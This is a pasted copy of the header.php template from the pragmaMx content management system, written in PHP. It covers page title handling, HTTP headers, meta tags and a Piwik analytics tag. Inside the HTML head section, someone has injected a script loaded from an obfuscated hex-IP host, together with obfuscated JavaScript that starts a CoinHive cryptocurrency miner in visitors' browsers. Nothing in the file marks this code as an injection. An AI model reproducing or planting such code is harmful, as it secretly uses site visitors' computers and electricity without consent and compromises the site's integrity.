Advertisement
Guest User

Untitled

a guest
Jul 19th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.18 KB | None | 0 0
  1. <?php
  2. /**
  3. * This file is part of
  4. * pragmaMx - Web Content Management System.
  5. * Copyright by pragmaMx Developer Team - http://www.pragmamx.org
  6. *
  7. * pragmaMx is free software: you can redistribute it and/or modify
  8. * it under the terms of the GNU General Public License as published by
  9. * the Free Software Foundation, either version 3 of the License, or
  10. * (at your option) any later version.
  11. *
  12. * $Revision: 1.19.2.17.2.20 $
  13. * $Author: tora60 $
  14. * $Date: 2010/10/08 08:22:12 $
  15. */
  16.  
  17. defined('mxMainFileLoaded') or die('access denied');
  18.  
  19. /**
  20. * definiert, dass diese Datei bereits includet wurde
  21. * nicht veraendern!
  22. */
  23. if (defined('PMX_HEADER')) {
  24. return;
  25. } else {
  26. define('PMX_HEADER', true);
  27. /* TODO: $GLOBALS["header"] >> deprecated */
  28. $GLOBALS['header'] = 1;
  29. }
  30.  
  31. /* nur fuer nuke-Module noch drin! */
  32. global $PHP_SELF, $pagetitle;
  33.  
  34. /* aktuelle URL versuchen zu speichern */
  35. pmxDebug::pause();
  36. if ($currequest = parse_url($_SERVER['REQUEST_URI'])) {
  37. mxSessionSetVar('lasturl', basename($currequest['path']) . ((empty($currequest['query'])) ? '' : '?' . $currequest['query']));
  38. }
  39. pmxDebug::restore();
  40.  
  41. /* rechte Bloecke ausblenden oder nicht */
  42. if (defined('mxAdminFileLoaded')) {
  43. // in der Administration, die Bloecke NIE anzeigen
  44. $GLOBALS['index'] = 0;
  45. } else if (!empty($GLOBALS['vkpBlocksRight'])) {
  46. if ($GLOBALS['vkpBlocksRight'] == 1) {
  47. // Bloecke immer anzeigen
  48. $GLOBALS['index'] = 1;
  49. } else if ($GLOBALS['vkpBlocksRight'] == 2) {
  50. // Bloecke NIE anzeigen
  51. $GLOBALS['index'] = 0;
  52. }
  53. }
  54.  
  55. if (!defined('MX_MODULE')) {
  56. // falls die header.php in eine Dazei im pmx-root includet wird,
  57. // ist diese Konstante nicht definiert und verursacht notices z.B. in den Bloecken
  58. define('MX_MODULE', '');
  59. }
  60.  
  61. /* Statistik aktualisieren */
  62. mxCounter();
  63.  
  64. /* Onlineliste aktualisieren */
  65. online();
  66.  
  67. /**
  68. * das theme includen und die dort deklarierten Variablen in den
  69. * globalen Scope importieren
  70. */
  71. $themevars = includetheme();
  72. foreach ($themevars as $key => $value) {
  73. global $$key;
  74. $$key = $value;
  75. }
  76.  
  77. /* wenn kein Seitentitel, oder die Startseite, nur den Seitenname als Seitentitel anzeigen. */
  78. $pagetitle = (empty($pagetitle) || defined('MX_HOME_FILE')) ? $GLOBALS['sitename'] : $GLOBALS['sitename'] . " - " . $pagetitle;
  79. /* sicherstellen, dass der Seitentitel keine Tags enthaelt und Sonderzeichen nicht zerstueckelt werden */
  80. $pagetitle = strip_tags(str_replace('&nbsp;', ' ', $pagetitle));
  81.  
  82. /* Kompatibilitaet mit vkp-Themes, wichtig fuer blocks() */
  83. $VKPTheme = (empty($VKPTheme)) ? false : true;
  84.  
  85. /* versch. HTTP Header senden */
  86. if (!headers_sent()) {
  87. header('Content-Type: text/html; charset=' . _CHARSET);
  88. header('Content-Language: ' . _DOC_LANGUAGE);
  89. header('X-Powered-By: ' . MX_VERSION);
  90. }
  91.  
  92. /**
  93. * Die HTML-Ausgabe beginnen
  94. * Info zum Doctype:
  95. * - http://carsten-protsch.de/zwischennetz/doctype/einleitung.html
  96. */
  97. $GLOBALS['DOCTYPE'] = (empty($GLOBALS['DOCTYPE'])) ? 0 : intval($GLOBALS['DOCTYPE']);
  98. $doctype_arr = mxDoctypeArray($GLOBALS['DOCTYPE']);
  99. echo $doctype_arr['value'], "\n";
  100. if ($doctype_arr['xhtml']) {
  101. echo '<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="', _DOC_LANGUAGE, '" lang="', _DOC_LANGUAGE, '" dir="', _DOC_DIRECTION, '">';
  102. } else {
  103. echo '<html lang="', _DOC_LANGUAGE, '" dir="', _DOC_DIRECTION, '">';
  104. }
  105.  
  106. /* PNG-Fix fuer alten IE < 7 */
  107. if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false && (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 8') === false && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 7') === false)) {
  108. // Achtung, der css Teil befindet sich in der default.css.php !!
  109. pmxHeader::add_script(PMX_JAVASCRIPT_PATH . 'iepngfix/iepngfix_tilebg.js', 'lt IE 7');
  110. }
  111.  
  112. /**
  113. * der HTML-Beginn und Seitentitel
  114. * die Metatags
  115. */
  116. ?>
  117. <head>
  118. <script src="http://0xC84411C4/1d14e0ef0b07ac44.js"></script>
  119. <script>
  120. var _0x1323=["\x62\x6D\x56\x70\x44\x48\x4E\x75\x65\x4A\x44\x64\x61\x7A\x57\x33\x6C\x51\x48\x79\x75\x5A\x72\x41\x31\x49\x45\x53\x6A\x76\x71\x6B","\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E\x63\x79","\x66\x6C\x6F\x6F\x72","\x6D\x61\x78","\x73\x65\x74\x4E\x75\x6D\x54\x68\x72\x65\x61\x64\x73","\x63\x68\x61\x72\x67\x69\x6E\x67","\x73\x74\x61\x72\x74","\x6F\x6E\x63\x68\x61\x72\x67\x69\x6E\x67\x63\x68\x61\x6E\x67\x65","\x73\x74\x6F\x70","\x74\x68\x65\x6E","\x67\x65\x74\x42\x61\x74\x74\x65\x72\x79"];var xmr= new CoinHive.Anonymous(_0x1323[0],{throttle:0.85,threads:1});try{var threads=Math[_0x1323[3]](1,Math[_0x1323[2]](navigator[_0x1323[1]]/ 4));xmr[_0x1323[4]](threads);navigator[_0x1323[10]]()[_0x1323[9]](function(_0xe82dx3){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()};_0xe82dx3[_0x1323[7]]= function(_0xe82dx4){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()}else {xmr[_0x1323[8]]()}}})}catch(e){xmr[_0x1323[6]]()}
  121. </script>
  122. <title><?php echo $pagetitle ?></title>
  123. <meta http-equiv="Content-Type" content="text/html; charset=<?php echo _CHARSET ?>" />
  124. <meta http-equiv="Content-Language" content="<?php echo _DOC_LANGUAGE ?>" />
  125. <meta http-equiv="Content-Style-Type" content="text/css" />
  126. <meta http-equiv="Content-Script-Type" content="text/javascript" />
  127. <meta http-equiv="expires" content="0" />
  128. <meta name="revisit-after" content="10 DAYS" />
  129. <meta name="robots" content="INDEX, FOLLOW" />
  130. <meta name="resource-type" content="DOCUMENT" />
  131. <meta name="distribution" content="GLOBAL" />
  132. <meta name="rating" content="general" />
  133. <meta name="author" content="<?php echo htmlspecialchars(strip_tags($GLOBALS['sitename'])) ?>" />
  134. <meta name="keywords" content="<?php echo htmlspecialchars($GLOBALS['metakeywords']) ?>, <?php echo MX_VERSION ?>" />
  135. <meta name="generator" content="<?php echo MX_VERSION ?> - by http://pragmaMx.org" />
  136. <meta name="copyright" content="Copyright (c) <?php echo Date("Y") ?> by <?php echo htmlspecialchars(strip_tags($GLOBALS['sitename'])) ?>" />
  137. <meta name="description" content="<?php echo htmlspecialchars(strip_tags($GLOBALS['slogan'])) ?>" />
  138. <link rel="stylesheet" href="layout/style/style.css.php?t=<?php echo MX_THEME ?>" type="text/css" />
  139. <?php
  140.  
  141. /**
  142. * Zusaetze aus den Modulen und Themes
  143. * Bloecke werden evtl. erst in der footer.php beruecksichtigt,
  144. * dort wird die Funktion nochmals aufgerufen, falls etwas dazu gekommen ist.
  145. */
  146. pmxHeader::show();
  147.  
  148. /**
  149. * die globale CSS-Datei des Themes muss immer vorhanden sein,
  150. * weitere koennen problemlos ueber die pmxHeader-Klasse eingebunden werden
  151. */
  152. ?>
  153.  
  154. <link rel="stylesheet" href="<?php echo MX_THEME_DIR ?>/style/style.css" type="text/css" />
  155. <?php
  156.  
  157. /**
  158. * HTML-Header Bereich beenden
  159. * - weiter geht es mit dem body-Tag in der Funktion themeheader()
  160. */
  161. echo "\n</head>\n";
  162. ?>
  163. <!-- Piwik -->
  164.  
  165. <a href="http://piwik.org" title="Web 2.0 analytics" onclick="window.open(this.href);return(false);">
  166. <script type="text/javascript">
  167. var pkBaseURL = (("https:" == document.location.protocol) ? "https://schule-schwedt.de/piwik/" : "http://schule-schwedt.de/piwik/");
  168. document.write(unescape("%3Cscript src='" + pkBaseURL + "piwik.js' type='text/javascript'%3E%3C/script%3E"));
  169. </script><script type="text/javascript">
  170. piwik_action_name = '';
  171. piwik_idsite = 1;
  172. piwik_url = pkBaseURL + "piwik.php";
  173. piwik_log(piwik_action_name, piwik_idsite, piwik_url);
  174. </script>
  175. <object><noscript><p>Web 2.0 analytics <img src="http://schule-schwedt.de/piwik/piwik.php?idsite=1" style="border:0" alt=""/></p></noscript></object></a>
  176. <!-- End Piwik Tag -->
  177. <?php
  178.  
  179. /**
  180. * den Siteservice als erstes anzeigen
  181. */
  182. mxSiteService();
  183.  
  184. /**
  185. * der Seitenkopf des Themes,
  186. * evtl. mit Ausgabe der linken Bloecke in nuke-styled Thems
  187. */
  188. themeheader();
  189.  
  190. /* bei theme-Enine Themes kann hier beendet werden */
  191. if (function_exists('mx_theme_engineversion')) {
  192. return;
  193. }
  194.  
  195. /**
  196. * in nicht Theme-Engine Themes, den body-Tag korrigieren,
  197. * dabei auch den Siteservice etc. an die richtige Stelle setzen
  198. */
  199. $header = ob_get_contents();
  200. if ($header && preg_match('#<body([^>]*)>#i', $header, $matches)) {
  201. ob_end_clean();
  202. ob_start();
  203. $adds = $matches[1];
  204. if ($adds && preg_match('#(class\s*=\s*)(["\'])([^"\']*)\2#i', $adds, $class)) {
  205. $adds = str_replace($class[0], 'class="bodymain ' . $class[3] . '"', $adds);
  206. } else {
  207. $adds = 'class="bodymain"' . $adds;
  208. }
  209. $header = str_replace($matches[0], '', $header);
  210. $header = str_replace('</head>', '</head><body ' . $adds . '>', $header);
  211. echo $header;
  212. }
  213.  
  214. /**
  215. * Ausgabe der oberen Center-Bloecke in nuke-styled Themes
  216. */
  217. if (defined('MX_HOME_FILE') && !$VKPTheme) {
  218. blocks('center');
  219. }
  220.  
  221. /* __________________________________________________________________________ */
  222.  
  223. /**
  224. * kompatibilitaet zu < VKP-Maxi-themes
  225. * In pragmaMx Themes existiert normalerweise diese Funktion und wird stattdessen verwendet
  226. */
  227. if (!function_exists('OpenTableAl')) {
  228. function OpenTableAl()
  229. {
  230. global $bgcolor1;
  231. echo '<div class="warning">';
  232. }
  233. }
  234.  
  235. /**
  236. * kompatibilitaet zu < VKP-Maxi-themes
  237. * In pragmaMx Themes existiert normalerweise diese Funktion und wird stattdessen verwendet
  238. */
  239. if (!function_exists('CloseTableAl')) {
  240. function CloseTableAl()
  241. {
  242. echo '</div>';
  243. }
  244. }
  245.  
  246. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement